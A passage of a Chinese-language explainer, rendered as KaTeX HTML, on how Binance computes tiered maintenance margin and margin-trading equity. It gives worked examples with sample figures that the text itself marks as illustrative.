class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：第i档位的保证金率</li></ul><p>但这种逐段计算很复杂。币安采用简化公式：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">MM</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span></span></p><p>其中 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> 预先计算好各档位的费率差异累积：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.0788em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8011em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：总仓位价值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：对应仓位规模的最高档位费率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：第i档位的规模上限</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span></span></span></span>：更高档位的费率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：当前档位的费率</li></ul><p>示例计算：</p><ul><li>第1档位贡献：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">50</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">0.5%</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0.4%</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">50</span></span></span></span></li><li>第2档位贡献：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">200</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">0.65%</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0.5%</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">300</span></span></span></span></li><li>第3档位贡献：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">750</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1.0%</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0.65%</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">262.5</span></span></span></span></li><li><strong>累积调整值</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">50</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">300</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">262.5</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">612.5</span></span></span></span></li></ul><p>注：文档中数据仅为示例，实际参数以币安官方为准。</p><p><strong>为什么使用减法？</strong></p><ol><li><strong>降低大户成本</strong>：鼓励机构和大户参与，增加市场流动性</li><li><strong>风险递减原理</strong>：大仓位分批清算时的边际风险递减</li><li><strong>市场深度考量</strong>：大额资金有助于提供更好的市场深度</li><li><strong>竞争优势</strong>：相比传统金融，提供更优惠的保证金政策</li></ol><p><strong>公式原理：</strong><br>维持保证金确保交易者有足够资金维持当前仓位。U本位合约以USDT计价，直接用仓位价值计算；币本位合约以标的币种计价，使用名义价值。累积调整值C通过减法为大仓位提供保证金优惠，体现了阶梯式保证金制度的&quot;规模经济&quot;效应，鼓励大额资金参与并提高资金效率。</p><p><strong>杠杆MM：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.6em;vertical-align:-0.55em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.6em;vertical-align:-0.55em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">MM</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：杠杆交易维持保证金总和</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：第i种资产的借贷金额</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">MM</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：第i种资产的维持保证金率</li></ul><p><strong>为什么MM只计算借贷部分？</strong></p><p>杠杆交易中，维持保证金只针对借入资金计算，不包含本金部分：</p><p><strong>资金结构示例：</strong></p><ul><li>用户本金：1,000 USDT</li><li>借入资金：4,000 USDT</li><li>总投资：5,000 USDT购买BTC（5倍杠杆）</li></ul><p><strong>MM计算：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span class="mord">8%</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">320</span><span class="mord text"><span class="mord"> USDT</span></span></span></span></span></span></p><p><strong>计算逻辑：</strong></p><ol><li><strong>本金无违约风险</strong>：1,000 USDT是用户自有资金，无需保证金保护</li><li><strong>借贷资金有违约风险</strong>：4,000 USDT借款需要保证金确保偿还能力</li><li><strong>整体风险通过权益控制</strong>：当BTC价值低于借款金额时触发强平</li></ol><p><strong>权益与风险管理：</strong><br>虽然MM只计算借贷部分，但通过权益计算实现整体风险控制：</p><p><strong>步骤1：计算净资产价值</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">es</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">m</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">b</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p><strong>步骤2：应用折算率</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span></span></p><p><strong>步骤3：转换为基准货币</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p><strong>完整公式：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" 